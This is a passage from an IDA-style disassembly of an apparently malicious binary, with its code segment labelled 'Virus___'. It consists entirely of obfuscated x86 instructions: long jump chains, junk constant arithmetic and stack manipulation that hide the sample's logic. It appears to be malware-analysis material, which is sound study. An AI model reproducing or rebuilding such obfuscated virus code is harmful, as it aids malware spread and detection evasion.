[esp], ebp mov ebp, 5A553162h jmp loc_58B0B7 ; --------------------------------------------------------------------------- loc_588258: ; CODE XREF: Virus___:0058F4FEj pop ebp add esi, 8DDF7F56h push ecx jmp loc_58A906 ; --------------------------------------------------------------------------- loc_588265: ; CODE XREF: Virus___:00580F4Fj xor ax, dx mov dx, [esp] jmp loc_5887DA ; --------------------------------------------------------------------------- loc_588271: ; CODE XREF: Virus___:00583177j push esi mov esi, esp add esi, 4 push eax mov eax, 4 sub esi, 0D6667ACh sub esi, eax add esi, 0D6667ACh pop eax xchg esi, [esp] pop esp jmp loc_58E557 ; --------------------------------------------------------------------------- loc_588298: ; CODE XREF: Virus___:00591503j mov ebp, esp push edx mov edx, 6D273E33h push edi jmp loc_58B425 ; --------------------------------------------------------------------------- loc_5882A6: ; CODE XREF: Virus___:0058D40Cj sub edi, 50B456CEh xor edi, 0B0FDEA30h jmp loc_58F0F0 ; --------------------------------------------------------------------------- loc_5882B7: ; CODE XREF: Virus___:00589278j neg ecx jmp loc_586350 ; --------------------------------------------------------------------------- loc_5882BE: ; CODE XREF: Virus___:0058E34Bj push 0 sub [esp], al jmp loc_593E4A ; --------------------------------------------------------------------------- loc_5882CB: ; CODE XREF: Virus___:005913DCj push dword ptr [esp] jmp loc_58D657 ; --------------------------------------------------------------------------- loc_5882D3: ; CODE XREF: Virus___:0058BD12j mov edi, 0D343199Fh jmp loc_58FEB9 ; --------------------------------------------------------------------------- loc_5882DD: ; CODE XREF: Virus___:0058684Dj sub esp, 4 jmp loc_585A12 ; --------------------------------------------------------------------------- loc_5882E5: ; CODE XREF: Virus___:00582B4Bj pop edx jmp loc_58DF51 ; --------------------------------------------------------------------------- loc_5882EB: ; CODE XREF: Virus___:00588AE0j add esp, 4 push dword ptr [ebx] push ebp jmp loc_586F1C ; --------------------------------------------------------------------------- loc_5882F6: ; CODE XREF: Virus___:005943B2j xor esi, 462274F7h add esi, 0D8ECBEB9h mov edx, esi pop esi jmp loc_586D74 ; --------------------------------------------------------------------------- loc_58830A: ; CODE XREF: Virus___:0058D310j push dword ptr [esp] push dword ptr [esp] pop edx jmp loc_58972E ; --------------------------------------------------------------------------- loc_588316: ; CODE XREF: Virus___:005858C7j pop ebx push edx mov edx, esp jmp loc_58646E ; --------------------------------------------------------------------------- loc_58831F: ; CODE XREF: Virus___:005935FDj pop dword ptr [esp] jmp loc_58EA7F ; --------------------------------------------------------------------------- loc_588327: ; CODE XREF: Virus___:00582A2Cj add ebx, 4 add ebx, 4 jmp loc_588B39 ; --------------------------------------------------------------------------- loc_588338: ; CODE XREF: Virus___:0058E042j pop esi push 2EEh jmp loc_581D80 ; --------------------------------------------------------------------------- loc_588343: ; CODE XREF: Virus___:005904F8j push ebp mov ebp, 4DEE1413h jmp loc_5894D8 ; --------------------------------------------------------------------------- loc_58834E: ; CODE XREF: Virus___:0058887Dj add byte ptr [esp], 0BFh mov ch, [esp] add esp, 2 sub ch, 46h sub ch, 60h push edx jmp loc_580865 ; --------------------------------------------------------------------------- loc_588364: ; CODE XREF: Virus___:0058367Fj sub ebp, 0B8AEF9EAh mov edi, ebp pop ebp and edi, 55DF7A97h sub edi, 44CF5DD1h and edi, 5050211Ch inc edi dec edi sub edi, 0F185E3AEh xor edx, edi mov edi, [esp] jmp loc_588CB3 ; --------------------------------------------------------------------------- loc_588391: ; CODE XREF: Virus___:00591A17j pop esp mov [esp], ebx mov ebx, 20h sub ebx, 1F915228h jmp loc_589DA7 ; --------------------------------------------------------------------------- loc_5883A5: ; CODE XREF: Virus___:0058EE48j sub esi, ebx pop ebx pop ecx add esi, 4 xchg esi, [esp] pop esp push dword ptr [esp] mov eax, [esp] add esp, 4 push 65C7h jmp loc_587717 ; --------------------------------------------------------------------------- loc_5883C6: ; CODE XREF: Virus___:00589AA7j neg bh sub bh, 0A0h add al, bh pop ebx mov cx, [esp] push 5007h mov [esp], eax mov eax, esp add eax, 4 push edi mov edi, 2 add eax, edi mov edi, [esp] add esp, 4 xchg eax, [esp] jmp loc_58397C ; --------------------------------------------------------------------------- loc_5883F7: ; CODE XREF: Virus___:00593596j or edi, 1E8D40B9h jmp loc_58D838 ; --------------------------------------------------------------------------- loc_588402: ; CODE XREF: Virus___:0058E759j mov ecx, esi pop esi sub ecx, 24EA23FDh neg ecx add ecx, 1CAA51C2h sub ecx, 0ACDE3C2Eh push ebx mov ebx, 59840036h sub ebx, 15655133h add ebx, 101531Ch jmp loc_582B67 ; --------------------------------------------------------------------------- loc_588430: ; CODE XREF: Virus___:0058EA92j pop esi jmp loc_5944CA ; --------------------------------------------------------------------------- loc_588436: ; CODE XREF: Virus___:0058361Aj pop esi push edi push ebx mov ebx, 2F4747AEh jmp loc_587277 ; --------------------------------------------------------------------------- loc_588443: ; CODE XREF: Virus___:0058796Cj add esi, 4 xchg esi, [esp] jmp loc_58C865 ; --------------------------------------------------------------------------- loc_588451: ; CODE XREF: Virus___:00587DFDj sub edx, 6F743DDBh mov ecx, [esp] add esp, 4 xchg edx, [esp] jmp loc_58F93C ; --------------------------------------------------------------------------- loc_588465: ; CODE XREF: Virus___:0058FEB4j pop ecx sub edx, 5FC7720Bh add edx, ebx add edx, 5FC7720Bh pop ebx pop ebp add edx, ecx add edx, 3A832F44h pop ecx push eax mov eax, 4C206A35h add eax, 1 xor eax, 47903B9Eh jmp loc_58AFCC ; --------------------------------------------------------------------------- loc_588494: ; CODE XREF: Virus___:005857EFj sub eax, ebp pop ebp sub eax, ebp push ebx jmp loc_58B364 ; --------------------------------------------------------------------------- loc_58849F: ; CODE XREF: Virus___:005819C1j add edx, eax push esi jmp loc_58998F ; --------------------------------------------------------------------------- loc_5884A7: ; CODE XREF: Virus___:00583A01j mov al, dh pop edx or al, 7Fh and al, 6Dh jmp loc_589D27 ; --------------------------------------------------------------------------- loc_5884B3: ; CODE XREF: Virus___:0058B35Fj mov [esp], ebp pop edx jmp loc_5865A2 ; --------------------------------------------------------------------------- loc_5884BC: ; CODE XREF: Virus___:00586B66j add bh, dl push ax jmp loc_58B0A3 ; --------------------------------------------------------------------------- loc_5884C5: ; CODE XREF: Virus___:0058D97Dj xor edi, 2EFA1C9Ch xor edi, 4E2F48D7h mov ecx, edi pop edi push 4EC3h mov [esp], ecx mov ecx, 5CBE4253h sub ecx, 0FC55E62Fh sub esp, 4 mov [esp], ecx xor dword ptr [esp], 335324CFh jmp loc_587971 ; --------------------------------------------------------------------------- loc_5884FC: ; CODE XREF: Virus___:00592975j mov [esp], edi sub esp, 4 jmp loc_5943C3 ; --------------------------------------------------------------------------- loc_588507: ; CODE XREF: Virus___:0057F8E5j add esp, 4 jmp loc_5817CD ; --------------------------------------------------------------------------- loc_58850F: ; CODE XREF: Virus___:0057F37Fj sub esp, 4 mov [esp], ecx push ebx mov bl, 8Fh push edx mov dh, bl mov ch, dh pop edx pop ebx shl ch, 7 xor ch, 0B7h not ch jmp loc_584474 ; --------------------------------------------------------------------------- loc_58852F: ; CODE XREF: Virus___:0058D9D1j mov ebp, 1102708Ah sub eax, ebp mov ebp, [esp] jmp loc_58E4A7 ; --------------------------------------------------------------------------- loc_58853E: ; CODE XREF: Virus___:0058C326j pop ebx pop dword ptr [esp] jmp loc_586C64 ; --------------------------------------------------------------------------- loc_588547: ; CODE XREF: Virus___:00591B6Fj mov [esp], ebx jmp loc_586335 ; --------------------------------------------------------------------------- loc_58854F: ; CODE XREF: Virus___:00581199j add ebp, 4 xchg ebp, [esp] jmp loc_585A32 ; --------------------------------------------------------------------------- loc_58855D: ; CODE XREF: Virus___:0059436Aj add esp, 4 pop dword ptr [esp] mov esp, [esp] or eax, eax jz loc_586FA7 push dword ptr [edi+28h] push ecx push ebx push 2C4C406Bh pop ebx shr ebx, 1 xor ebx, 77A1965h jmp loc_584A43 ; --------------------------------------------------------------------------- loc_588586: ; CODE XREF: Virus___:00586966j push ebx jmp loc_58B304 ; --------------------------------------------------------------------------- loc_58858C: ; CODE XREF: Virus___:00586FB9j mov edx, 4 sub ebp, 52A440EDh add ebp, edx add ebp, 52A440EDh pop edx push 676Fh mov [esp], esi mov esi, 4 add ebp, 2190222h jmp loc_58C56B ; --------------------------------------------------------------------------- loc_5885B8: ; CODE XREF: Virus___:00593ED3j sub bl, dh add bl, 49h add bl, 23h mov edx, [esp] add esp, 4 add bl, dl jmp loc_5827A6 ; --------------------------------------------------------------------------- loc_5885D0: ; CODE XREF: Virus___:0058465Cj pop esp xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] jmp loc_588163 ; --------------------------------------------------------------------------- loc_5885E2: ; CODE XREF: Virus___:005810CDj add eax, ecx pop ecx sub eax, 56A63268h sub eax, ebx sub esp, 4 mov [esp], ebx jmp loc_57FB93 ; --------------------------------------------------------------------------- loc_5885FA: ; CODE XREF: Virus___:00582A92j mov ebx, ebp jmp loc_581C7C ; --------------------------------------------------------------------------- loc_588601: ; CODE XREF: Virus___:00581D2Ej sub edi, 60401A9h add eax, edi pop edi xchg eax, [esp] jmp loc_580329 ; --------------------------------------------------------------------------- loc_588612: ; CODE XREF: Virus___:005908FDj pop ebx sub ecx, 76A87018h add ecx, ebp add ecx, 76A87018h mov ebp, [esp] add esp, 4 add ecx, 2 xchg ecx, [esp] pop esp imul cx push ecx jmp loc_580C0B ; --------------------------------------------------------------------------- loc_58863A: ; CODE XREF: Virus___:0058C3DDj add esp, 4 add esp, 4 add ebx, 4 push 53E4h mov [esp], eax push 4 jmp loc_58785A ; --------------------------------------------------------------------------- loc_588658: ; CODE XREF: Virus___:005896B1j add esp, 4 sub edx, 7A1D6889h sub edx, 5D6F291Eh add edx, edi add edx, 5D6F291Eh push ebp jmp loc_58CE2B ; --------------------------------------------------------------------------- loc_588678: ; CODE XREF: Virus___:00589B18j neg edx jmp loc_58ADD3 ; --------------------------------------------------------------------------- loc_58867F: ; CODE XREF: Virus___:00587626j push eax mov eax, esp add eax, 4 sub esp, 4 jmp loc_5879B7 ; --------------------------------------------------------------------------- loc_58868F: ; CODE XREF: Virus___:00590092j xor edx, 4D733043h dec edx jmp loc_593FC5 ; --------------------------------------------------------------------------- loc_58869B: ; CODE XREF: Virus___:005942CFj mov ax, 5B80h jmp loc_57FDB4 ; --------------------------------------------------------------------------- loc_5886A4: ; CODE XREF: Virus___:00588956j sub ecx, ebp push dword ptr [esp] pop ebp add esp, 4 mov esi, [esp] add esp, 4 push edx push 31D7h mov [esp], esi mov esi, 29533C55h xor esi, 0E7E6719h shr esi, 8 push ecx mov ecx, 459503BCh push ebp jmp loc_5939FC ; --------------------------------------------------------------------------- loc_5886D6: ; CODE XREF: Virus___:0058559Cj pop ecx add ecx, 4 push edx mov edx, 4 jmp loc_587F03 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_58A179 ; --------------------------------------------------------------------------- loc_5886F1: ; CODE XREF: Virus___:0057FE6Bj sub edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] mov [esp], ebx mov ebx, 4 add eax, ebx jmp loc_57F8F2 ; --------------------------------------------------------------------------- lodsd jmp loc_58611A ; --------------------------------------------------------------------------- loc_588718: ; CODE XREF: Virus___:005878A5j add eax, 4 xchg eax, [esp] jmp loc_586952 ; --------------------------------------------------------------------------- loc_588723: ; CODE XREF: Virus___:0058A995j sub ch, 0B8h dec ch jmp loc_5932DF ; --------------------------------------------------------------------------- loc_58872D: ; CODE XREF: Virus___:00588984j add esp, 4 add esi, 2 push esi push dword ptr [esp+4] mov esi, [esp] jmp loc_583170 ; --------------------------------------------------------------------------- loc_588743: ; CODE XREF: Virus___:0058D935j mov edx, ecx mov ecx, [esp] add esp, 4 sub ebp, edx pop edx jmp loc_58FABD ; --------------------------------------------------------------------------- loc_588756: ; CODE XREF: Virus___:0058719Fj mov ebx, [esp] push edx push esp pop edx add edx, 4 jmp loc_590DD7 ; --------------------------------------------------------------------------- loc_588767: ; CODE XREF: Virus___:00582DDFj pop ebp jmp loc_593054 ; --------------------------------------------------------------------------- loc_58876D: ; CODE XREF: Virus___:00581CC8j sub edi, 0FFEF4594h add edx, edi jmp loc_58E410 ; --------------------------------------------------------------------------- loc_58877A: ; CODE XREF: Virus___:005938FDj sub eax, esi jmp loc_580B03 ; --------------------------------------------------------------------------- loc_588781: ; CODE XREF: Virus___:00591419j or ebx, edi pop edi inc ebx sub esp, 4 mov [esp], edx mov edx, 28EC582Eh inc edx shl edx, 7 add edx, 161FF286h jmp loc_581165 ; --------------------------------------------------------------------------- loc_5887A2: ; CODE XREF: Virus___:0058B08Fj mov edx, 442D6782h jmp loc_5868CB ; --------------------------------------------------------------------------- loc_5887AC: ; CODE XREF: Virus___:0058E20Ej pop ecx pop edi add eax, 45DA4777h push eax xor dword ptr [esp], 10EB4AE7h pop edi xor edi, 10EB4AE7h pop eax add ecx, 58944928h add ecx, edi push edx mov edx, 58944928h sub ecx, edx pop edx pop edi jmp loc_5836EC ; --------------------------------------------------------------------------- loc_5887DA: ; CODE XREF: Virus___:0058826Cj add esp, 2 push 2A5Eh mov [esp], edx mov dx, 7D83h and dx, 59DEh jmp loc_5842FA ; --------------------------------------------------------------------------- loc_5887F6: ; CODE XREF: Virus___:0058CF6Aj push ebp mov ebp, 3720322Eh or ebp, 444D6046h jmp loc_59444A ; --------------------------------------------------------------------------- loc_588807: ; CODE XREF: Virus___:00580B9Cj mov eax, 263F4D65h jmp loc_58F027 ; --------------------------------------------------------------------------- loc_588811: ; CODE XREF: Virus___:0058CD32j pop ecx add eax, 7A2B4D52h jmp loc_58B9C1 ; --------------------------------------------------------------------------- loc_58881C: ; CODE XREF: Virus___:0058B2F6j pop edx sub bl, al pop eax movzx eax, al mov dx, [esp] push 401Eh jmp loc_580EAD ; --------------------------------------------------------------------------- loc_588831: ; CODE XREF: Virus___:0058B484j sub esp, 4 mov [esp], ecx jmp loc_58F84B ; --------------------------------------------------------------------------- loc_58883C: ; CODE XREF: Virus___:0058DB30j push edi mov edi, 3F64BF3h jmp loc_58336D ; --------------------------------------------------------------------------- loc_588847: ; CODE XREF: Virus___:005811DAj pop esp push edi mov edi, 32077F1Fh sub edi, 268830D8h and edi, 63D21B27h sub edi, 3520A03h add eax, edi jmp loc_592380 ; --------------------------------------------------------------------------- loc_588867: ; CODE XREF: Virus___:0058D2FAj xor dh, 16h or ch, dh mov edx, [esp] add esp, 4 push small 0 sub byte ptr [esp], 0BFh sub [esp], ch jmp loc_58834E ; --------------------------------------------------------------------------- loc_588882: ; CODE XREF: Virus___:00590EE2j pop edi sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebx mov ebx, 20h push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], ecx mov ecx, 533A40B4h jmp loc_580C5F ; --------------------------------------------------------------------------- mov cx, [esp] push eax sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 pop eax push ecx push 60D9h mov [esp], edi push ebp mov ebp, 34981C69h mov edi, 86624AE0h sub edi, ebp pop ebp mov ecx, edi mov edi, [esp] add esp, 4 shr ecx, 7 jmp loc_593EE4 ; --------------------------------------------------------------------------- loc_5888F2: ; CODE XREF: Virus___:00590841j sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx mov ecx, 4 add esi, ecx mov ecx, [esp] add esp, 4 jmp loc_58DB42 ; --------------------------------------------------------------------------- loc_588911: ; CODE XREF: Virus___:00584782j mov al, cl pop ecx jmp loc_587803 ; --------------------------------------------------------------------------- loc_588919: ; CODE XREF: Virus___:0058E637j shr ecx, 2 sub ecx, 0C94473CFh jmp loc_5863A2 ; --------------------------------------------------------------------------- loc_588927: ; CODE XREF: Virus___:0058901Cj pop eax xor ch, bh mov ebx, [esp] jmp loc_589944 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl byte ptr [esp], cl pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_588941: ; CODE XREF: Virus___:00593554j pop edx xor edx, edx jmp loc_5811AA ; --------------------------------------------------------------------------- loc_588949: ; CODE XREF: Virus___:00590395j mov ebx, esp jmp loc_58666D ; --------------------------------------------------------------------------- loc_588950: ; CODE XREF: Virus___:0058E25Cj push ebp mov ebp, 5895362Ah jmp loc_5886A4 ; --------------------------------------------------------------------------- loc_58895B: ; CODE XREF: Virus___:00588DADj add esi, ebp push 2D0Ah mov [esp], edx jmp loc_58D24F ; --------------------------------------------------------------------------- loc_58896A: ; CODE XREF: Virus___:005818E0j push ebp mov ebp, 4 add ebx, ebp push dword ptr [esp] pop ebp add esp, 4 jmp loc_591C98 ; --------------------------------------------------------------------------- loc_588981: ; CODE XREF: Virus___:00580729j mov edx, [esp] jmp loc_58872D ; --------------------------------------------------------------------------- loc_588989: ; CODE XREF: Virus___:0058C412j mov ebx, esp jmp loc_584B9C ; --------------------------------------------------------------------------- mov eax, [esp] push 29A6h mov [esp], ecx push ebp push esp pop ebp push esi mov esi, 2B450B56h push ebx mov ebx, 0D4BAF4AEh add esi, ebx jmp loc_58DDAB ; --------------------------------------------------------------------------- loc_5889B1: ; CODE XREF: Virus___:0057F826j mov ecx, 47D847D1h jmp loc_58FD76 ; --------------------------------------------------------------------------- loc_5889BB: ; CODE XREF: Virus___:00590AACj pop edi sub esp, 4 jmp loc_583707 ; --------------------------------------------------------------------------- loc_5889C4: ; CODE XREF: Virus___:00593EDFj inc ecx xchg ecx, edx sub edx, 26084DBAh add ebx, edx pop edx xor ebx, [esp] jmp loc_589D86 ; --------------------------------------------------------------------------- loc_5889D8: ; CODE XREF: Virus___:0058EF8Bj push ebp push esp pop ebp push edi push edx push ebp push 2A501DACh pop ebp jmp loc_58E047 ; --------------------------------------------------------------------------- loc_5889E9: ; CODE XREF: Virus___:0058E315j mov [esp], ebp mov ebp, 0A757706h sub eax, 67B30EEh sub eax, ebp add eax, 67B30EEh pop ebp sub esp, 4 mov [esp], ebp push eax push 504Ah mov [esp], esi mov esi, 2DF30ED6h push 4ECFh jmp loc_585C4F ; --------------------------------------------------------------------------- loc_588A1C: ; CODE XREF: Virus___:00588B94j add esp, 4 or eax, eax jz loc_57FA8A sub esp, 4 mov [esp], ebx mov ebx, 1Ch add ebx, 783063FFh push eax push ecx push 195440ECh jmp loc_590C23 ; --------------------------------------------------------------------------- loc_588A4A: ; CODE XREF: Virus___:0058B979j add esp, 4 jmp loc_58F263 ; --------------------------------------------------------------------------- loc_588A55: ; CODE XREF: Virus___:005804DBj push eax jmp loc_5809B5 ; --------------------------------------------------------------------------- loc_588A5B: ; CODE XREF: Virus___:00586607j mov edi, 1D690863h inc edi push ebp mov ebp, 47645CACh push 0 jmp loc_58DE04 ; --------------------------------------------------------------------------- mov cx, [esp] push 763Bh mov [esp], ecx push esp mov ecx, [esp] push 2D0Dh mov [esp], ecx push esp mov ecx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push eax mov eax, 4 add ecx, eax pop eax add ecx, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp push ebx mov ebx, 4 add ecx, ebx mov ebx, [esp] push eax mov eax, esp jmp loc_58A00B ; --------------------------------------------------------------------------- loc_588AC9: ; CODE XREF: Virus___:005894D3j add ebp, 4 jmp loc_58F058 ; --------------------------------------------------------------------------- loc_588AD4: ; CODE XREF: Virus___:00591ABFj pop ecx add esi, 0BF323603h sub ebx, esi mov esi, [esp] jmp loc_5882EB ; --------------------------------------------------------------------------- loc_588AE5: ; CODE XREF: Virus___:00586E7Dj push 50F56EF1h pop ebx sub ebx, 0FED1838h shr ebx, 2 sub ebx, 2CD5F89h jmp loc_58BB4F ; --------------------------------------------------------------------------- loc_588AFF: ; CODE XREF: Virus___:005875F2j mov esp, [esp] and eax, esi pop esi or edx, eax shl edx, 1 push ecx mov ecx, 24h add ecx, 1AFD54C3h jmp loc_590A3C ; --------------------------------------------------------------------------- loc_588B1A: ; CODE XREF: Virus___:00583E17j sub edi, 4 xchg edi, [esp] pop esp jmp loc_590902 ; --------------------------------------------------------------------------- loc_588B29: ; CODE XREF: Virus___:0058A79Dj mov [esp], edx push 0A6Bh mov [esp], ecx jmp loc_58D970 ; --------------------------------------------------------------------------- loc_588B39: ; CODE XREF: Virus___:00588333j xchg ebx, [esp] pop esp push edx mov edx, 2 add ebx, edx push dword ptr [esp] jmp loc_594455 ; --------------------------------------------------------------------------- loc_588B4D: ; CODE XREF: Virus___:00591A2Bj push ecx mov edi, [esp] jmp loc_585461 ; --------------------------------------------------------------------------- loc_588B56: ; CODE XREF: Virus___:005901BAj mov [esp], ebp mov ebp, esp push edi mov edi, 36F04B38h shr edi, 5 shl edi, 2 push esi mov esi, 7B427E19h neg esi jmp loc_5858EF ; --------------------------------------------------------------------------- loc_588B74: ; CODE XREF: Virus___:0058C20Dj pop edi jmp loc_5932A3 ; --------------------------------------------------------------------------- loc_588B7A: ; CODE XREF: Virus___:005865EDj sub esp, 4 jmp loc_58A63A ; --------------------------------------------------------------------------- loc_588B85: ; CODE XREF: Virus___:00581F06j add eax, 4 jmp loc_5827D3 ; --------------------------------------------------------------------------- loc_588B8F: ; CODE XREF: Virus___:00592EA0j and eax, ebp mov ebp, [esp] jmp loc_588A1C ; --------------------------------------------------------------------------- loc_588B99: ; CODE XREF: Virus___:00585C89j mov edx, [esp] add esp, 4 jmp loc_584132 ; --------------------------------------------------------------------------- loc_588BA7: ; CODE XREF: Virus___:0059086Cj sub esp, 4 mov [esp], edi push eax mov eax, 60201130h mov edi, eax pop eax push edx mov edx, 38703D03h add edx, 4090EADAh add edi, edx pop edx jmp loc_5927D4 ; --------------------------------------------------------------------------- loc_588BCD: ; CODE XREF: Virus___:0058D022j push 0 sub [esp], eax jmp loc_592076 ; --------------------------------------------------------------------------- loc_588BDA: ; CODE XREF: Virus___:00584DB9j sub ebp, 7CC470C3h xor ebp, 1DB08031h mov ebx, ebp pop ebp jmp loc_591800 ; --------------------------------------------------------------------------- loc_588BEE: ; CODE XREF: Virus___:005834AEj xor ebp, 7B2D6FC2h add ecx, ebp pop ebp jmp loc_594411 ; --------------------------------------------------------------------------- loc_588BFC: ; CODE XREF: Virus___:0058F597j pop ebp add esp, 4 push edi jmp loc_58DF79 ; --------------------------------------------------------------------------- loc_588C09: ; CODE XREF: Virus___:00589C07j pop edi jmp loc_57F805 ; --------------------------------------------------------------------------- loc_588C0F: ; CODE XREF: Virus___:0057F973j pop edi add edi, ecx mov ecx, [esp] push 47A0h mov [esp], edi mov edi, esp jmp loc_5863FA ; --------------------------------------------------------------------------- loc_588C24: ; CODE XREF: Virus___:0058541Ej sub eax, 17BC5FC6h push esi mov esi, 4D261B3Dh sub esi, 7A543D41h shr esi, 3 jmp loc_58B8CD ; --------------------------------------------------------------------------- loc_588C3D: ; CODE XREF: Virus___:0058BB31j push edi mov edi, 8260080h jmp loc_582E5E ; --------------------------------------------------------------------------- loc_588C48: ; CODE XREF: Virus___:0057FB8Ej or dh, 27h neg dh xchg cl, dh not cl jmp loc_5876AF ; --------------------------------------------------------------------------- loc_588C56: ; CODE XREF: Virus___:00590809j sub esi, eax jmp loc_582CAF ; --------------------------------------------------------------------------- loc_588C5D: ; CODE XREF: Virus___:0058011Aj pop edi push ebp mov ebp, 3A832F44h push 7216h jmp loc_58E291 ; --------------------------------------------------------------------------- loc_588C6E: ; CODE XREF: Virus___:0058B499j mov [esp], ebx push esp pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push 4972h mov [esp], ebp push 5DE8h mov [esp], esp add dword ptr [esp], 4 mov ebp, [esp] add esp, 4 add ebp, 4 jmp loc_591015 ; --------------------------------------------------------------------------- loc_588CAB: ; CODE XREF: Virus___:00590AF4j xor ebx, edi pop edi jmp loc_58D0ED ; --------------------------------------------------------------------------- loc_588CB3: ; CODE XREF: Virus___:0058838Cj add esp, 4 jmp loc_57F37C ; --------------------------------------------------------------------------- loc_588CBB: ; CODE XREF: Virus___:00591287j pop edx pop ebx add al, bl sub al, 0Bh push edx jmp loc_592B04 ; --------------------------------------------------------------------------- loc_588CC7: ; CODE XREF: Virus___:0058B5F1j pop esi add eax, edx mov edx, [esp] jmp loc_58A888 ; --------------------------------------------------------------------------- loc_588CD2: ; CODE XREF: Virus___:005828F4j add esp, 4 add esp, 4 push dword ptr [esp] mov eax, [esp] jmp loc_59114F ; --------------------------------------------------------------------------- loc_588CE6: ; CODE XREF: Virus___:005814CFj sub edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp mov [esp], ebx mov bh, 7Eh jmp loc_591D47 ; --------------------------------------------------------------------------- loc_588D00: ; CODE XREF: Virus___:0058BAD4j pop esp div cl movzx cx, ah push small 6C87h mov [esp], cx movzx cx, al push cx pushf jmp loc_590E24 ; --------------------------------------------------------------------------- loc_588D1B: ; CODE XREF: Virus___:00583A91j push ecx mov ecx, 4 add edx, ecx mov ecx, [esp] add esp, 4 push 2DE3h mov [esp], ecx mov ecx, 4 jmp loc_584A89 ; --------------------------------------------------------------------------- loc_588D3B: ; CODE XREF: Virus___:00593258j and edx, 5E8A0743h push edi mov edi, 2668067Bh shr edi, 5 sub edi, 2243143Ch jmp loc_589C37 ; --------------------------------------------------------------------------- loc_588D55: ; CODE XREF: Virus___:0058778Aj sub eax, 38570CD4h add eax, edx add eax, 38570CD4h pop edx jmp loc_58F7E6 ; --------------------------------------------------------------------------- loc_588D67: ; CODE XREF: Virus___:0058EC60j add eax, esi pop esi jmp loc_5917AB ; --------------------------------------------------------------------------- loc_588D6F: ; CODE XREF: Virus___:00584071j neg ebx add ebx, 6611C1E8h and edi, ebx pop ebx neg edi inc edi jmp loc_583FC4 ; --------------------------------------------------------------------------- loc_588D82: ; CODE XREF: Virus___:00587A6Ej sub bl, ch pop cx jmp loc_582635 ; --------------------------------------------------------------------------- loc_588D8B: ; CODE XREF: Virus___:00580DF8j add dh, al pop eax sub dh, 8Fh add al, dh jmp loc_589E7A ; --------------------------------------------------------------------------- loc_588D98: ; CODE XREF: Virus___:0059355Fj and ebp, 7F495400h neg ebp inc ebp xor ebp, 0EEF7FC05h add esi, 33B55D3Bh jmp loc_58895B ; --------------------------------------------------------------------------- loc_588DB2: ; CODE XREF: Virus___:00581406j pop ecx add ebp, edi jmp loc_593F5D ; --------------------------------------------------------------------------- loc_588DBA: ; CODE XREF: Virus___:00586668j pop dword ptr [esp] mov esp, [esp] push 18F5h jmp loc_590F69 ; --------------------------------------------------------------------------- loc_588DCA: ; CODE XREF: Virus___:0058E856j sub esp, 4 jmp loc_58A075 ; --------------------------------------------------------------------------- loc_588DD2: ; CODE XREF: Virus___:00592DDCj pop edi and edi, 6548651Fh push eax mov eax, 58252951h add eax, 3E9216A8h inc eax shl eax, 2 sub eax, 0F9DCBFDCh jmp loc_580AC9 ; --------------------------------------------------------------------------- loc_588DF2: ; CODE XREF: Virus___:00585C52j xor dword ptr [esp], 71896853h pop eax xor eax, 71896853h pop esi mov ebp, eax push dword ptr [esp] pop eax push edx mov edx, esp push esi push ebx jmp loc_592F7C ; --------------------------------------------------------------------------- loc_588E10: ; CODE XREF: Virus___:00580F3Ej add ebp, eax sub ebp, 3A97741Eh pop eax push esi mov esi, 706809EEh sub ebp, esi pop esi push dword ptr [esp] push dword ptr [esp] pop edx add esp, 4 jmp loc_59422F ; --------------------------------------------------------------------------- loc_588E34: ; CODE XREF: Virus___:005877D8j xor ebx, 98E1BD0Ah xor eax, ebx pop ebx jmp loc_580651 ; --------------------------------------------------------------------------- loc_588E42: ; CODE XREF: Virus___:00586C2Fj push 0 add dword ptr [esp], 24C11648h jmp loc_581DB2 ; --------------------------------------------------------------------------- loc_588E53: ; CODE XREF: Virus___:005827A8j push eax mov al, 4Ch shr al, 7 and al, 7Dh jmp loc_586EB8 ; --------------------------------------------------------------------------- loc_588E60: ; CODE XREF: Virus___:0057F775j add ecx, 6097492Ah jmp loc_59214C ; --------------------------------------------------------------------------- loc_588E6B: ; CODE XREF: Virus___:00592FA4j mov esi, [esp] jmp loc_584746 ; --------------------------------------------------------------------------- loc_588E73: ; CODE XREF: Virus___:00582C0Aj sub eax, 4A1B53EFh sub eax, ecx add eax, 4A1B53EFh jmp loc_585212 ; --------------------------------------------------------------------------- loc_588E84: ; CODE XREF: Virus___:0057FC78j add edx, 0D357F314h add ecx, edx pop edx jmp loc_58D69C ; --------------------------------------------------------------------------- loc_588E92: ; CODE XREF: Virus___:00580817j pop edi jmp loc_5899D8 ; --------------------------------------------------------------------------- loc_588E98: ; CODE XREF: Virus___:00592E93j dec dword ptr [esp] pop ebp neg ebp xor ebp, 0CB3D80CCh jmp loc_590DEC ; --------------------------------------------------------------------------- loc_588EA9: ; CODE XREF: Virus___:00581CBEj push dword ptr [esp] pop ebx jmp loc_5939BF ; --------------------------------------------------------------------------- loc_588EB2: ; CODE XREF: Virus___:0059310Bj pop edx xor ebp, 22D15AC0h add ebx, ebp mov ebp, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_58D476 ; --------------------------------------------------------------------------- loc_588ECF: ; CODE XREF: Virus___:005812B0j and ebp, esi mov esi, [esp] add esp, 4 push esi sub esp, 4 jmp loc_585140 ; --------------------------------------------------------------------------- loc_588EE3: ; CODE XREF: Virus___:0059123Ej sub edi, 7CBD504Bh sub edi, ecx add edi, 7CBD504Bh mov ecx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] mov esp, [esp] shl edi, 7 push edi xchg esi, [esp] not esi xchg esi, [esp] jmp loc_58DECD ; --------------------------------------------------------------------------- loc_588F17: ; CODE XREF: Virus___:005820B4j sub ebp, 6C6D62A0h jmp loc_590ABC ; --------------------------------------------------------------------------- loc_588F22: ; CODE XREF: Virus___:00589E57j push esi mov esi, 